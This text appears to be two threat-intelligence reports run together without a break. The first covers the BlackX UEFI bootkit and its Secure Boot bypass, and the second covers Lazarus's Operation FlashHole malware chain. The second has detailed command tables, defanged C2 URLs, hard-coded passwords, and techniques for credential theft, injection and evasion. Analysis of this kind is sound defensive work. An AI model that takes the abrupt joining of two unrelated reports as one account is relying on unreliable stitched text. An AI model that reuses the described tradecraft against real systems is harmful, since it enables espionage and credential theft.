Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal had been advertising a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.
BlackLotus advertisement
However, about half a year later, in March 2023, ESET confirmed that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.
Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.
The return of the infamous bootkit
In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.
Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:
inst.exe, an installer executable
PVMDIJGKAX2, an RC4-encrypted extensionless file containing files and strings required for the installation
The installer was launched with the command line C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1. The last argument here is the RC4 key used for decryption.
Curiously, the file inst.exe does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside PVMDIJGKAX2, which makes it harder for incident responders to retrieve the bootkit components.
The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.
While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.
Payload launched by the bootkit
The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.
The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.
The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to calc.exe instead of a malicious file handle.
User-mode second-stage payloads
Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:
File suffix
Description
Type
0X01
A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module
Input
0X02
Result of the call TEST.Class1.RunCMD(argument_array)
Output
0X03
Task to upload a file to the drive
Input
0X04
Uploaded file
Output
0X05
Task to download a file to an infected machine
Input
0X06
File download status
Output
SSSR
Contains initial system info
Output
We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file googleupdate.exe (original filename: jcef_helper.exe, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file v8_context_snapshot.bin, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the www[.]archivetj[.]com C2 server. During communication, this payload is supposed to receive DLL files exporting a function named create_plugin, which are then executed in separate threads.
Attribution
Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:
In June 2026, ESET published a blog post on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\xdd\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;
The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;
The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.
Why did the target organizations get infected?
During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.
Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to trigger it manually. This is done with the following steps:
A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;
A scheduled task named Secure-Boot-Update is created.
This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.
Curiously, Microsoft’s plan for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.
It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.
Conclusion
Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the ToolShell vulnerability that also had to be applied manually.
However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the Exploit Prevention component available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.
In January, we responded to the Lazarus Group’s novel attack campaign against South Korea, which followed last year’s Operation SyncHole. In this new operation, the group employed an updated malware chain that included both their old and new malware, which we disclosed in full, and used another mandatory South Korean security software program as a part of infection chain using a watering‑hole strategy. Notably, the group targeted victims more selectively, sending spear‑phishing emails with links to fabricated but relevant sites, such as portfolio and résumé pages tailored to each target. We dubbed this activity Operation FlashHole.
Operation FlashHole attack flow during initial compromise
Our examination reveals that the earliest evidence of this new operation dates back to July 2025. This suggests the group began preparing for the campaign shortly after ending Operation SyncHole, which lasted at least four months. We identified a minimum of three organizations impacted by the campaign in South Korea’s software, construction, and wired communication equipment manufacturing sectors. These sectors differ from those affected by Operation SyncHole, indicating that the group has expanded its target scope over time.
Background
After more than a year since the first observation of Operation SyncHole, we detected a suspicious execution chain originating from legitimate South Korean software. This chain mirrors the one from the previous operation; however, this time, the attacker abused CrossWeb EX instead of Cross EX, which was abused in Operation SyncHole. Both applications appear to be maintained by the same vendor, and both are related to financial security. CrossWeb EX is a financial security solution that is required to access widely used online banking and government websites. It encrypts communications between the user’s browser and the web server using public key infrastructure (PKI). This is not the first time Lazarus has abused this software. It was also used in 2021 to deploy the Racket downloader and again in 2022 and 2023. Although the exact method by which CrossWeb EX was abused remains unclear, we determined that the attack chain ultimately leads to the execution of the malware in memory.
We noted that the spawned process was running with a high integrity level. The parent process, INISAFECrossWebEXSvc.exe, originates from the installation bundle of INISAFE CrossWeb EX V3 version 3.4.1.2, released in 2023 after KrCERT’s public advisory.
As we already mentioned in our SyncHole blog post, this pattern closely mirrors the long‑standing strategy employed by the Lazarus Group to target South Korea. Since CrossWeb EX and similar software is mandatory for South Korean users and typically runs in the background to interact with the browser, it has been leveraged as a critical attack vector by the group. In 2025, a paper was presented at the USENIX Security Symposium that investigated vulnerabilities in South Korea’s mandatory security software and demonstrated how such software can unintentionally create a massive attack surface.
In July 2026, the South Korean government and several local security vendors also published a joint security advisory covering typical Lazarus attack techniques, including exploitation of financial security software. While this advisory overlaps with our findings from Operation FlashHole and Operation SyncHole, and AhnLab’s detailed analysis report Operation Double Barrel covers a wide range of recent Lazarus Group activities, we are conducting a more granular classification based on their TTPs. We will discuss this further in the attribution section.
Initial infection vector
Although we could not precisely determine what triggered the infection chain, our analysis uncovered a suspicious website hosted on GitHub Pages that is associated with the GitHub account used as the C2 channel. The GitHub account was created last September, and the initial version of the site was designed to showcase the résumé of a senior network appliance developer. In January, however, this site was replaced with another featuring an interior design showcase. The first site was likely accessed by an employee of a wired communication manufacturing company, while the second site likely affected a target in the construction sector.
Appearance of the malicious websites
The first site with the résumé had a photograph supposedly of a job seeker, but the lack of EXIF metadata and the unnatural texture of the image indicate that it was generated by AI. This suggests the Lazarus Group has incorporated AI into its long‑standing strategy, like other Korean‑speaking threat actors (1, 2). The group most likely also used AI to create the lure site: the job seeker’s name resembles the Korean version of “John Doe,” and the portfolio was populated with seemingly meaningless details and random companies. The generated site was then manually tailored to specific targets.
Suspected use of an AI-generated image on the résumé site
The websites contained embedded links that loaded an external JavaScript file via a script tag.
Malicious link embedded in the résumé site: hxxps://javadevhouse.co[.]kr/ajax/libs/jquery/1.7.3/jquery.min.js
Malicious link embedded in interior design site: hxxps://pythonapischool[.]com/api/detach
Based on the analysis, we assess with medium-to-high confidence that the targets received phishing emails containing links to the malicious site hosted on GitHub Pages (using the domain <username>.github.io). The research results showed a high possibility that visiting the malicious site initiated an infection process involving CrossWeb EX software. This assessment aligns with Lazarus’s recent approach, as detailed in the joint advisory published by the South Korean government and security companies.
Full infection chain
Following the initial compromise, the legitimate Windows binary fsquirt.exe was executed under the CrossWeb EX process and injected with shellcode containing a malicious DLL – TechHub malware. From our extensive and thorough examination, we identified several malicious payloads and reconstructed the complete infection chain. The infection chain is rather complex and reveals the Lazarus Group’s advanced operational techniques on targeted hosts. These techniques conceal their malicious payloads, intent and their sophisticated malware delivery framework. The latter was updated extensively compared to the previous campaign, despite the new operation starting less than a year later. Significantly, the execution chain below exists only in memory during the initial infiltration, highlighting the attackers’ considerable efforts to hide the initial compromise.
Initial infection chain
Following the initial compromise, the group sought to maintain persistence on the network by installing a pair of malware strains – TouchHub and TouchShift – leveraging DLL side‑loading under the name mscoree.dll. TouchHub was deployed by the first instance of TechHub. It then used DLL side-loading to launch TouchShift, which led to the in‑memory execution of another TechHub instance. After launching the second time, TechHub deployed another pair, ClientHub and LPEClient, rather than executing Cubridge directly. Only minimal traces of these files were found on disk; the remainder of the malicious code persisted exclusively in memory.
Expanded infection chain after gaining persistence
Since Cubridge remains only in memory at the initial compromise stage, we suspect the group designed this indirect, multistage chain to deliberately redeploy Cubridge after gaining persistence, as it serves as the most sophisticated orchestrator of the attack.
Malware set
The full chain comprises advanced variants of the known Lazarus malware strains, including TechHub, Cubridge, TouchShift, LPEClient, and the newly identified TouchHub and ClientHub.
TechHub – the start of the chain
TechHub, a downloader that plays a central role in this attack, communicates with GitHub using a Personal Access Token (PAT). It serves as the initial payload, providing the top of the chain with sufficient functionality to profile compromised hosts and facilitate subsequent payloads.
This variant is a more advanced version of the malware named CLOUDBURST by Mandiant and NickelLoader by ESET. According to their reports, the earlier version communicated with a C2 server via HTTP(S) to fetch additional payloads. The latest iteration we found, however, communicates with GitHub instead and has updated command strings.
We identified three variants of TechHub in the chain: an in‑memory version, a simple DLL side‑loading version, and a DLL side‑loading version that uses a registered Windows service. Depending on which stage loads the malware, it contacts a private GitHub repository via the GitHub API using either hard‑coded credentials or credentials retrieved from its configuration file.
When TechHub loads, it creates a 4‑byte hexadecimal identifier (ID) in the range 0x1000–0xFFFF or reads one from the configuration file, enabling the attackers to distinguish between compromised hosts. TechHub then checks a GitHub issue by sending the request GET /issues?state=[open/closed] to determine whether any previous communication remains active and removes any traces of it if found. It then proceeds with the handshaking process.
It creates a new issue titled 1[ID] with the body “hel” using the POST /issues request, and sets its status to open.
It then retrieves a file from the repository containing the 2[ID] value in its name. This file contains the RSA public key.
It generates a random 16‑byte XOR key, encrypts it with the provided RSA public key, and uploads the result, prefixed with 1[ID], to the repository.
The hard‑coded IV is XORed with the generated 16‑byte key and then used after the handshake.
During file exchange, filenames follow the pattern [1|2][ID][random-16-byte-key] throughout communication. The “2” prefix indicates delivery from the repository to TechHub, while “1” indicates delivery from TechHub to the repository. The random 16‑byte key in the filename is used for AES encryption or decryption of each file’s contents, employing either a hard‑coded IV or an updated IV.
After the key exchange is complete, TechHub reads a file with the prefix “2” once again and verifies that the delivered data equals “hel”. If the check passes, TechHub gathers extensive information from the infected host. This data is then encrypted and sent to the repository. After transmitting the device information, the process concludes by updating the body of the previously created issue from “hel” to “hey” using PATCH /issues/[issue number]. The malware is now fully prepared to receive commands from the repository.
TechHub supports four commands. The laeca command deploys a payload packaged in shellcode that reflectively loads the embedded payload directly into memory.
Command
Description
mqdrz
Collect information about the device and its running processes
laeca
Directly invoke the received shellcode in memory
aqvxp
Terminate the current process
rtcya
Beaconing after finishing the handshake process
Cubridge – the framework orchestrator
Cubridge, deployed via TechHub on the compromised host, is capable of retrieving various payloads through multiple methods. It serves as the central orchestrator of the entire malware framework, supporting a range of plugins, modules, and tools. An earlier version of Cubridge was also disclosed in the reports covering the previous version of TechHub. In those reports, Mandiant identified it as SIDESHOW, and ESET identified one of its modules as LightlessCan.
To establish communication with the C2 server, Cubridge randomly selects one of the predefined C2 servers and constructs a dedicated C2 URL for every request, using the pattern [C2_URL]/[page1]/[page2]/[page3]. This is achieved by concatenating terms from predefined word lists. Our analysis identified a single hardcoded C2 server – hxxps://cubedesign[.]co[.]kr/news/AABBCC – associated with the examined instance that is configured to version 5.1. During URL generation, AABBCC is substituted with a null value. The page3 segment is assigned a randomly generated integer between 10000000 and 99999999. Consequently, each generated URL is designed to appear authentic and remain unique for each request.
The predefined list for page1 is shown below. TechHub randomly selects one item from the list.
The predefined word list for page2 is shown below.
article, list, story
This means the hardcoded URL can later be transformed, for example, into hxxps://cubedesign[.]co[.]kr/news/economy/article/12345678 by following the steps described above.
Authentication using the POST request with the C2 server requires three parameters in the form of key‑value pairs. Each key is randomly generated using a different predefined word dictionary, and the associated values consist of a randomly generated 8‑byte hexadecimal bot ID, a fixed authentication token (KW4Ofw982CNJjxd51AVqkGAop), and a randomly generated 16‑byte hexadecimal session ID.
Cubridge employs a more robust handshaking process than TechHub, combining the RSA and RC6 algorithms. Unlike TechHub, it skips the profiling step and proceeds directly to command and control after the handshake. During communication, the malware mimics browser requests, using X‑CSRF‑Token and X‑Requested‑With headers for authentication and the Upgrade‑Insecure‑Requests header to request additional data.
Cubridge’s communication sequence
Cubridge contains extensive functionality, with a particular focus on loading subsequent‑stage payloads. The commands employ various techniques, such as DLL injection, reflective loading, and section‑mapping injection. The payloads may be delivered in various forms:
Plugins – reusable extensions that add functionality as needed and can be invoked at any time (in shellcode and DLL form);
Tools (in DLL form) – independent utilities that perform one-off tasks;
Modules – components that are loaded once and remain active providing an extended set of functionalities.
It is anticipated that the commands for plugins and shellcode will load identical types of plugins because both support a similarly formed exported function for subsequent activity. The shellcode can be generated using the open‑source sRDI tool to package a DLL‑style plugin. The capabilities of a single DLL are likely utilized to load a tool that works independently because when a single DLL is loaded, only its DllMain entry point and its parameters are accessible; no other exported functions are exposed.
Command
Payload type
Description
0
–
Collect device info including the computer name, time zone, PID, and other similar details
1
Archive the specified file/directory using the legacy ZipCrypto algorithm and the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
2
Create a file at the specified path
3
Possibly plugin
Inject the provided DLL payload into the target process and load it reflectively using reflective DLL injection
4
Plugin
Reflectively load a plugin in DLL format
5
Retrieve the address of the specified exported function from the target plugin and run it with the provided parameters
6
Retrieve all information about the loaded plugins
7
Unload the specified plugin
8
Shellcode
Inject the provided shellcode into the target process and load it using section mapping injection
9
Load the provided shellcode directly into memory
10
Retrieve the address of the specified export function from the target shellcode (likely a plugin in shellcode form) and run it with the provided parameter
11
Retrieve all information about the loaded shellcode
12
Unload the specified shellcode
13
–
Set the scheduled Cubridge execution time (in minutes) by updating a global variable
14
Set the scheduled Cubridge execution time (in minutes) by updating a global variable, while disabling monitoring by also updating another global variable
15
Terminate in a controlled manner
16
Get the configuration for Cubridge: retrieve the global flags, the number of C2 servers, the C2 addresses, etc.
17
Update the global flags, the number of C2 servers, the C2 addresses, etc.
18
Tool
Load a DLL reflectively with the specified parameter
19
Configure the parameters for loading a single DLL
20
Unload the single DLL
21
Module
Load the “action module” (ActionModule.dll) reflectively and invoke its AppinfoView export function
22
Load the “function module” (FunctionModule.dll) reflectively and invoke its PresentationFontConfig export function
Commands 21 and 22 each load a different module. As their internal names imply, the action module manages basic file and process operations, while the function module implements Windows’ default commands. The action module covers commands 23–41, and the function module handles commands 42–79.
The action module handles system operation commands, file system interactions, and process behavior. It is invoked by passing the appropriate command and parameters to its AppinfoView export function. The module supports 19 commands, numbered 23 through 41. Execution results are first sent to Cubridge, which then forwards them to the C2 server.
Command
Role
23
Get local disk space for each drive
24
Get information about the specified file or directory
25
Execute the provided command
26
Get information about the specified file or directory (similar to command 24)
27
Execute the provided command under the target process (PPID spoofing)
28
Execute the provided command under the target process within the provided session (PPID spoofing + session impersonation)
29
Get detailed information about processes
30
Terminate the provided process
31
Suspend all threads belonging to the specified process
32
Resume all threads belonging to the specified process
33
Permanently delete the file by overwriting its entire contents with the sequence: 0 → 1 → random bytes → 1 → 0
34
Rename the provided file to :EFS (the alternate data stream area) and delete it using the native API SetFileInformationByHandle
35
Set the current working directory
36
Copy the specified file to the provided path
37
Delete the specified directory
38
Move the specified file to the provided path
39
Create the provided directory
40
Initiate a non‑blocking connection attempt to the specified IP address and port (possibly for port scanning)
41
Read the specified file
The function module implements commands that emulate Windows’ built-in commands. Similar to the action module, its DllMain routine initializes all supported command functions, which are later accessed through the PresentationFontConfig export. Altogether, the module offers 38 commands, numbered from 42 to 79. While we believe this module is based on the previous LightlessCan, this is the first time we’ve seen it in the form of a separate module.
Command
Role
42
Capture all displays and archive them using the legacy ZipCrypto algorithm with the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
43
Synchronize the MAC (Modified, Accessed, and Created) times of the file provided in the second argument to match those of the file provided as the first argument
44
Get information about the specified directory
45
Get information about the specified drive
46
Inject the provided DLL payload into the target process
47
Unload the specified DLL from the specified process
48
Implementation of the ipconfig command
49
Implementation of the net command
50
Implementation of the netsh advfirewall firewall command
51
Implementation of the netstat command
52
Implementation of the ping -6 command
53
Implementation of the reg command
54
Implementation of the sc command
55
Implementation of the ping command
56
Implementation of the whoami command
57
Implementation of the nslookup command
58
Implementation of the schtasks command
59
Implementation of the systeminfo command
60
Implementation of the arp command
61
Call the CryptUnprotectData function to retrieve the AES key that DPAPI protects. Extract the key using the encrypted_key keyword from Chromium’s Local State file located at: %LOCALAPPDATA%\Google\Chrome\User Data\Local State
62
Not implemented
63
Not implemented
64
Read the specified file and decrypt it using an XOR operation with the key 0x59. Then extract the paths from the decrypted buffer and archive files and directories at these paths with the legacy ZipCrypto algorithm, using the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
65 ~ 79
Not implemented
Besides the modules, we also observed that the actor deployed various plugins and tools.
Type of payload
Name
Description
Plugin
ADFinder (AdFinder.dll)
Launches LDAP queries in an Active Directory environment, taking six arguments such as log file path, ADsPath, search filter, and attribute names
Plugin
FileCollector (Dll.dll)
Recursively scans every subdirectory and file in the provided directory, gathering detailed information about each
Tool
Browser stealer
Can be injected into Chromium-based browsers, such as Google Chrome, Microsoft Edge, and Brave. Once injected, it extracts files and credentials from the victim’s browsers, including stored passwords, bookmarks, history, preferences, and cookies
Tool
Process collector
Iterates over all running processes, collecting each process’s ID, path, and command line
TouchHub installs a service for TouchShift
During our analysis, we obtained a previously unknown malware sample from TechHub’s private GitHub repository, which served as a parent installer for TouchShift. We dubbed this malware TouchHub. Upon execution, it copies the legitimate printfilterpipelinesvc.exe to C:\Windows\System32\RasConv\ImeBroker.exe, registers it as a service, and places an embedded TouchShift payload named mscoree.dll in the same directory. Following creation, the malware synchronizes the MAC timestamps of C:\Windows\System32\drivers\monitor.sys with those of the newly written file, hindering forensic analysis.
It then goes through the service registration process by collecting up to 100 legitimate service names that are registered under the netsvcs svchost group in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost. It randomly selects one of these names, appends two random alphabetic characters to form a new service name, and uses this name to create a service that runs the hard‑coded command line C:\Windows\System32\RasConv\ImeBroker.exe -TimeBroker with the description Microsoft Service. The newly created service is started immediately.
Overall, TouchHub creates three files in the designated directory to launch TouchShift with SYSTEM privileges.
Path
Type
Description
C:\Windows\System32\RasConv\ImeBroker.exe
Executable file registered as a service
Copied from C:\Windows\System32\printfilterpipelinesvc.exe
C:\Windows\System32\RasConv\mscoree.dll
Side-loaded TouchShift payload
Dropped by TouchHub. It contains encrypted payloads and includes portions of a legitimate DLL’s contents, which significantly inflates its size
C:\Windows\System32\RasConv\ActivationStore.dat
TechHub’s configuration file
Dropped by TouchHub after extracting configuration values
TouchShift, a prevalent loader employed across multiple infection chains
The version of TouchShift dropped by TouchHub is almost identical to the version described in Mandiant’s blog post, even sharing the same malicious export function, LockClrVersion. It takes the argument supplied by TouchHub and XORs it with a hard‑coded key. The resulting value is XORed once more with the executable’s filename, and this result is used as the AES key. All strings involved in this process (the argument, the XOR key, the filename) must be exactly 16 bytes long. If a string is shorter, it is padded with NULL bytes (\x00); if it is longer, it is truncated to 16 characters. For example, one of the string combinations in the obtained sample was:
Argument: -TimeBroker\x00\x00\x00\x00\x00 (padded with NULL)
Hard-coded XOR key: x809G736iC3f8Wp8
Executable filename: ImeBroker.exe\x00\x00\x00 (padded with NULL)
After deriving the key, the malware decrypts the embedded payload using AES‑CBC‑128 without padding. The decrypted data is shellcode that starts with a call instruction. It wraps the next‑stage payload – identified as the third version of TechHub (DLL side-loading with a registered service) – that reads the ActivationStore.dat file as an external configuration.
ClientHub
We also identified a new piece of malware stored in TechHub’s private repository, which we named ClientHub. It supports various commands formed using a bitmask. There are at least two versions of ClientHub: one that communicates with websites via HTTP(S) and one that interacts with the Dropbox API using credentials.
Depending on the version, its configuration is sourced from internal resources or the external configuration file C:\Program Files\Common Files\System\msadc\msadc.inc. The configuration comprises keys and IVs for the SNOW 1.0 algorithm, scheduled execution times, and C2 server addresses encrypted with the SNOW stream cipher. The SNOW cipher is a family of high‑speed stream ciphers used for secure data encryption in telecommunications and wireless networks. This is the first time it has been observed in the malware of the Lazarus Group.
To establish C2 communication, the malware initially generates a 32‑byte random array. It subsequently overwrites portions of this array with data collected from the compromised device. The resulting 32‑byte array comprises a blend of random bytes and relevant information. This array is later used as the key for the SNOW algorithm to decrypt data received from the C2 server. Finally, the key array is encrypted with a hard‑coded RSA public key and encoded in Base64.
Offset
Size
Field value
0
4
Current process ID
4
4
First four bytes of the decrypted C2 server information.
8
7
Randomly generated bytes
15
1
Calculated flag value that indicates a state machine.
16
8
Current system time, represented as a FILETIME structure.
24
8
Randomly generated bytes
The ciphertext is delivered to the C2 server via GET requests. Each request contains headers that are atypical for malware: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Mobile, Sec-Fetch-Mode, and Sec-Fetch-Dest. These headers are normally used by legitimate Chromium‑based browsers and enable malware to imitate legitimate traffic and evade detection. The C2 server replies with commands in a custom header and message body.
struct header
{
int has_more_data // whether more body data remains
int body_checksum;// ROR13 checksum for the body data
int body_type; // specifies the body type
int unknown;
int body_length; // Length of the body data
int IV[2]; // Random IV used to encrypt the body data
};
The body_type field in the header determines how the subsequent payload is processed. This value functions as a bitmask, with each bit representing a distinct flag (e.g., 0x1, 0x2, 0x4, etc.). The resulting behavior also depends on whether the least‑significant bit (bit 0) is set: when the value is odd, the malware interprets the incoming message body as an additional payload that is subsequently loaded into memory. Conversely, when the value is even, the malware invokes the previously loaded payload.
The odd value supports four distinct loading methods based on the received message body and ensures that each method executes only once.
Bitmask
Value in decimal
Description
Result sent to the C2
0x00000001
1
DLL loading: load the received body reflectively along with the provided parameter
The payload’s image base
0x00000011
3
Plugin: load the received body reflectively, obtain the address of a function in the payload, and then invoke that function along with the provided parameter
The payload’s image base, the address of the invoked function, and the execution result
0x00000101
5
Plugin: load the received body reflectively, obtain the address of a function in the payload, but refrain from invoking it immediately
The payload’s image base, the address of the function
0x00001011
11
Plugin: execute the behavior associated with value 3, then unload immediately after invoking the plugin
–
0x00010001
17
DLL loading: load the received body reflectively with the provided parameter, maintaining stateful communication via a persistent interactive session using a shared buffer
The payload’s image base, the address of the interactive shared buffer, and the execution result
The even value provides two distinct invocation methods for DLLs and plugins that have already been loaded and are associated with the odd‑value bitmask. The 2 (0x10) flag allows the payload previously loaded with the 1, 3, or 5 bitmask to be reused and invoked directly. The value 16 (0x10000) corresponds to the 17 (0x10001) flag in loading mode and uses the established interactive shared buffer to exchange data. All values are guaranteed to act independently.
Bitmask
Value in decimal
Description
Result sent to the C2
0x00000010
2
Invoke the previously loaded DLLs and plugins along with the provided parameter
The execution result
0x00000100
4
Not implemented
–
0x00001000
8
Unload the previously loaded DLLs and plugins
The execution result
0x00010000
16
Send the updated parameter to the payload loaded by the command with the value 17, and exchange data through the interactive session. This command also determines whether to retrieve the execution result or unload the payload
The execution result
Taking into account the loading mechanism, we identified four plugins deployed to the target that work perfectly with ClientHub.
Plugin
Description
File archiver
Archives the provided file using the legacy ZipCrypto algorithm (without password protection) and returns the compressed data
File collector
Searches for all files matching the provided search pattern and collects metadata including filename, MAC timestamps, file size, and attribute values
File cleaner
Overwrites the provided file with NULL bytes, renames it to a randomly generated filename of the same length, and then deletes it. If a directory with a search pattern is provided, it locates all matching files, renames each to a randomly generated name of identical length to its original name, and deletes them
Drive and session monitor
Monitors remote session changes and local drive changes for the provided duration (in 10-minute intervals) and returns the collected status information
In addition to the plugins, ClientHub supports the loading of LPEClient malware and communication with it. We found that ClientHub’s body_type values 16 and 17 correspond to LPEClient’s C2 communication mechanism.
LPEClient
LPEClient is the only malware that was also observed in Operation SyncHole, indicating that the actor relies heavily on it for sophisticated victim profiling and payload delivery across multiple operations. LPEClient first appeared in 2019, and was discovered in 2020. Since then, the tool has been widely observed in the Dream Job and Cascade Hole campaigns that targeted South Korea. Recent research conducted by Check Point revealed that LPEClient was used to deploy the FudModule malware using a zero-day.
LPEClient has evolved continuously over time, but we discovered that it recently underwent a major operational revamp. It no longer contains the C2 server address itself; instead, it interacts with ClientHub via a shared buffer. We believe this change is intended to enhance concealment.
Timeline of LPEClient
The previous version collected the computer name, memory status, CPU specifications, operating system details, version of the ntoskrnl.exe file, firmware table, antivirus name, domain name, user name, the integrity level of the current process, and a random byte sequence of 1,568 bytes. The newly updated LPEClient variant mostly collects the same information; however, it also introduces several changes.
It does not collect the version of the ntoskrnl.exe file by querying the FileVersion value. Instead, depending on the specific build, it reads either the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR registry key or the SYSTEM_BUILD_VERSION_INFORMATION structure to retrieve the revision portion of the Windows build number. These values can be used to infer the system’s cumulative update or patch level.
To collect information about installed antivirus products, it switched from querying a WQL command to reading the WMI repository file directly. It now reads C:\Windows\System32\wbem\Repository\OBJECTS.DATA and searches for keywords such as AntiVirusProduct, companyName, and displayName to identify the installed products.
It also collects low‑level Windows security mitigation states. To achieve this, it queries the SYSTEM_KERNEL_VA_SHADOW_INFORMATION structure for the Kernel VA Shadow mitigation status and the SYSTEM_SHADOW_STACK_INFORMATION structure for the Shadow Stack (CET) protection status.
Additionally, it generates a 32‑byte random unique identifier by using the HighwayHash algorithm and an XOR operation with the current system time. The collected information, including the generated identifier, is compressed with the XPRESS Huffman algorithm using the maximum compression setting. The compressed data is then concatenated with the message ID 0xF07D6B34 and encrypted using GOST (also known as Magma), Russia’s national cryptographic standard that employs a DES‑like structure, before being sent to the ClientHub via a shared buffer. Initially, KrCERT described the algorithm as a custom DES‑like scheme. However, further analysis by us and Check Point confirmed that it is actually the GOST algorithm. The key is randomly generated by a proprietary key‑generation algorithm and prepended to the encrypted message.
The next request handles the key exchange by delivering the message ID 0xA39CF278 together with the generated unique identifier. The response is decrypted using the AES‑CBC‑256 algorithm. The SHA‑256 hash of the previously generated 1,568‑byte random value, which was originally sent to the C2 server during the collection phase, serves as the key for this decryption.
